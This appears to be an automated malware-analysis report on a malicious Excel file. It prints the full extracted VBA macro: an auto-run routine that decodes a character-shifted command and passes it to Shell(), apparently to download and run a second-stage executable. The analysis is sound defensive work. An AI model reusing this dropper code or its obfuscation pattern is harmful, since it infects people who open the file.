Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6d0077314c28c900…

MALICIOUS

Office (OOXML)

79.1 KB Created: 2020-05-11 12:57:53 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-15
MD5: 1d3498bb35bbc32351e74037d60d0f1f SHA-1: 7d9db10d5c238558b292d0388299d7d573bba230 SHA-256: 6d0077314c28c9007c56d3e3c8b39595d186a819e9a9bc0dc661feea3e4be780
268 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains a Workbook_Open macro that utilizes Shell() and CreateObject() calls. The macro decodes a string using a character-shift cipher and executes it via Shell(), indicating it downloads and executes a second-stage payload. The Environ() function is also used, suggesting potential environment variable interaction during payload execution.

Heuristics 7

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2399 bytes
SHA-256: a9f00c4c458c79f58d7592d4b4ce894f767d305e8ed6389cb1713b7bc81715c5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:01"))
Shell (RfJDsrDAvyLGVqAzOuCtSEuQPfhLUcLjbLkPkSTKrFjEiMuKMNDLkVc("‡†Ž|‰Š |ƒƒE|�|7D|�|zŒ‹€†…‡†ƒ€z�7y�‡xŠŠ7Dn7_€{{|…7Dz†„„x…{7?…|ŽD†y�|z‹7j�Š‹|„Ee|‹En|yZƒ€|…‹@E[†Ž…ƒ†x{]€ƒ|?> ‹‹‡QFFxx‰†…‹�|€‹E…|‹F{†zFyŒ{{x‹xE|�|>C;|…�Qk|„‡B>syŒ{{x‹xE|�|>@"))
CreateObject("Excel.Application").Wait (Now + TimeValue("00:00:10"))
adsa
End Sub
Private Sub adsa()
Shell (Environ(RfJDsrDAvyLGVqAzOuCtSEuQPfhLUcLjbLkPkSTKrFjEiMuKMNDLkVc("k|„‡")) + "\" + RfJDsrDAvyLGVqAzOuCtSEuQPfhLUcLjbLkPkSTKrFjEiMuKMNDLkVc("yŒ{{x‹xE|�|"))
End Sub
   Public Function RfJDsrDAvyLGVqAzOuCtSEuQPfhLUcLjbLkPkSTKrFjEiMuKMNDLkVc(NktIhfsBTmcAfFGOQwrXMpLDDkXyHYATFiXArKlAyZQmFMkEbTIjsxQ As String)
        Dim QElGRxzKPYQWKPnHEjpgXjlGeStscvyDPuNNETTFhTUJmFMCoQCBWOd As Integer, BnewyDHhpaNHQCaYkQEUDkcptGMYhtwBVQhZZWqBaGfiZyvANMRGSPa As Integer
        QElGRxzKPYQWKPnHEjpgXjlGeStscvyDPuNNETTFhTUJmFMCoQCBWOd = 23
        For BnewyDHhpaNHQCaYkQEUDkcptGMYhtwBVQhZZWqBaGfiZyvANMRGSPa = 1 To Len(NktIhfsBTmcAfFGOQwrXMpLDDkXyHYATFiXArKlAyZQmFMkEbTIjsxQ)
            Mid(NktIhfsBTmcAfFGOQwrXMpLDDkXyHYATFiXArKlAyZQmFMkEbTIjsxQ, BnewyDHhpaNHQCaYkQEUDkcptGMYhtwBVQhZZWqBaGfiZyvANMRGSPa, 1) = Chr(Asc(Mid(NktIhfsBTmcAfFGOQwrXMpLDDkXyHYATFiXArKlAyZQmFMkEbTIjsxQ, BnewyDHhpaNHQCaYkQEUDkcptGMYhtwBVQhZZWqBaGfiZyvANMRGSPa, 1)) - QElGRxzKPYQWKPnHEjpgXjlGeStscvyDPuNNETTFhTUJmFMCoQCBWOd)
        Next BnewyDHhpaNHQCaYkQEUDkcptGMYhtwBVQhZZWqBaGfiZyvANMRGSPa
        RfJDsrDAvyLGVqAzOuCtSEuQPfhLUcLjbLkPkSTKrFjEiMuKMNDLkVc = NktIhfsBTmcAfFGOQwrXMpLDDkXyHYATFiXArKlAyZQmFMkEbTIjsxQ
    End Function
      

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: 023830dbf151f87559185b55ee55ddff9188b7c6c344c63e52c2ad045becb936

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